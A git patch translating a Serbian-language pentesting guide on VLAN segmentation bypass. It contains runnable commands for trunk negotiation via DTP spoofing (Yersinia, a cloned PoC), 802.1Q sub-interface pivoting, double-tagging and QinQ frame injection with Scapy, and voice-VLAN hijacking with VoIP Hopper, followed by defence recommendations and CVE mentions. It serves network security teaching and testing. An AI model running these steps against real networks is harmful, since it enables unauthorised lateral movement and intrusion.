From cba5234fd2daa40b31a0fddc4f44bec415f45e44 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:42:15 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 87 ++++++++++++++----- 1 file changed, 64 insertions(+), 23 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 7ba3a6251..744c37698 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja proverite [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Prvo, potrebno je identifikovati specifičan povezani port. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske. +Prvo, identifikacija specifičnog povezanog porta je potrebna. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske. **Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese**: ``` @@ -24,6 +24,7 @@ Prebacivanje u trunk režim će privremeno prekinuti konektivnost, ali se to mo Zatim se kreiraju virtuelni interfejsi, dodeljuju VLAN ID-ovi i aktiviraju: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` Nakon toga, zahtev za adresu se šalje putem DHCP-a. Alternativno, u slučajevima kada DHCP nije izvodljiv, adrese se mogu ručno konfigurisati: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Primer za ručno postavljanje statičke IP adrese na interfejsu (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60. @@ -61,22 +71,29 @@ Cisco switch-evi koji drže DTP omogućeno rado će pregovarati trunk ako peer t *Yersinia* i nekoliko PoC-ova automatizuju proces: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel-i više ne zahtevaju *vconfig*; umesto toga koristite *ip link*: +Recon pomoćnik (pasivno identifikovanje DTP stanja porta): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up -``` -### 2. Double-Tagging (Native-VLAN Abuse) -Ako napadač sedi na **native (untagged) VLAN**, kreirani okvir sa *dva* 802.1Q zaglavlja može "skočiti" na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (2022-2024 osveženje) automatizuju injekciju: +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 +``` +Jednom kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. + +### 2. Double-Tagging (Zloupotreba Native-VLAN) + +Ako napadač sedi na **native (neoznačenom) VLAN-u**, kreirani okvir sa *dva* 802.1Q zaglavlja može skočiti na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (osveženje 2022-2025) automatizuju injekciju: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Packet walk-through: -1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa nativnim VLAN-om. -2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN-u 20. - -Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju nativni VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire. - ### 3. QinQ (802.1ad) Stacking -Mnogi koreni preduzeća podržavaju *Q-in-Q* uslugu pružatelja usluga. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar pružatelja (S-tag) da bi prešao sigurnosne zone. Zabeležite 802.1ad ethertype 0x88a8 i pokušajte da uklonite spoljašnji tag sa Scapy: +Mnogi koreni preduzeća podržavaju *Q-in-Q* enkapsulaciju usluga provajdera. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar provajdera (S-tag) da bi prešao sigurnosne zone. Zabeležite za ethertype `0x88a8` i pokušajte da uklonite spoljašnji tag pomoću Scapy: ```python from scapy.all import * outer = 100 # Service tag @@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing) + +Korporativne pristupne tačke često su u *“access + voice”* konfiguraciji: neoznačeni data VLAN za radnu stanicu i označeni voice VLAN koji se oglašava putem CDP ili LLDP-MED. Imitujući IP telefon, napadač može automatski otkriti i preći u VoIP VLAN—čak i kada je DTP onemogućen. + +*VoIP Hopper* (pakovan u Kali 2025.2) podržava CDP, DHCP opcije **176/242**, i potpuno LLDP-MED spoofing: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +Tehnika zaobilazi razdvajanje podataka/glasovnih komunikacija i izuzetno je uobičajena na preduzetničkim edge switch-evima 2025. godine jer je LLDP auto-policy podrazumevano omogućen na mnogim modelima. + --- ## Preporuke za odbranu -1. Onemogućite DTP na svim portovima koji su dostupni korisnicima: `switchport mode access` + `switchport nonegotiate`. -2. Promenite nativni VLAN na svakom trunku u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`. -3. Prune-ujte nepotrebne VLAN-ove na trunkovima: `switchport trunk allowed vlan 10,20`. -4. Primorajte sigurnost portova, DHCP snooping i dinamičku ARP inspekciju kako biste ograničili neovlašćene Layer-2 aktivnosti. -5. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto oslanjanja isključivo na 802.1Q razdvajanje. +1. Onemogućite DTP na svim portovima koji su usmereni ka korisnicima: `switchport mode access` + `switchport nonegotiate`. +2. Promenite native VLAN na svakom trunk-u u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`. +3. Prune-ujte nepotrebne VLAN-ove na trunk-ovima: `switchport trunk allowed vlan 10,20`. +4. Sprovodite sigurnost portova, DHCP snooping, dinamičku ARP inspekciju **i 802.1X** kako biste ograničili neovlašćene Layer-2 aktivnosti. +5. Onemogućite LLDP-MED auto glasovne politike (ili ih zaključajte na autentifikovane MAC OUI-e) ako spoofing IP telefona nije potreban. +6. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto da se oslanjate isključivo na 802.1Q razdvajanje. + +--- + +## Ranljivosti dobavljača u stvarnom svetu (2022-2024) + +Čak i savršeno učvršćena konfiguracija switch-a može biti potkopana greškama u firmveru. Nedavni primeri uključuju: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst pristupne tačke** omogućavaju injekciju iz native VLAN-a u ne-native WLAN VLAN-ove, zaobilazeći žičano/bežično razdvajanje. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** omogućava zaobilaženje ACL-a na SVI-ima nakon prebacivanja Resilient Ethernet Protocol-a, propuštajući saobraćaj između VRF-ova/VLAN-ova. Zakrpa 17.9.5 ili novija. + +Uvek pratite obaveštenja dobavljača o VLAN povezanim zaobilaženjima/ACL problemima i održavajte slike infrastrukture ažurnim. --- @@ -119,5 +158,7 @@ sendp(frame, iface="eth0") - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN attack toolkit – - Twingate "Šta je VLAN Hopping?" (Avg 2024) – +- VoIP Hopper projekat – +- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}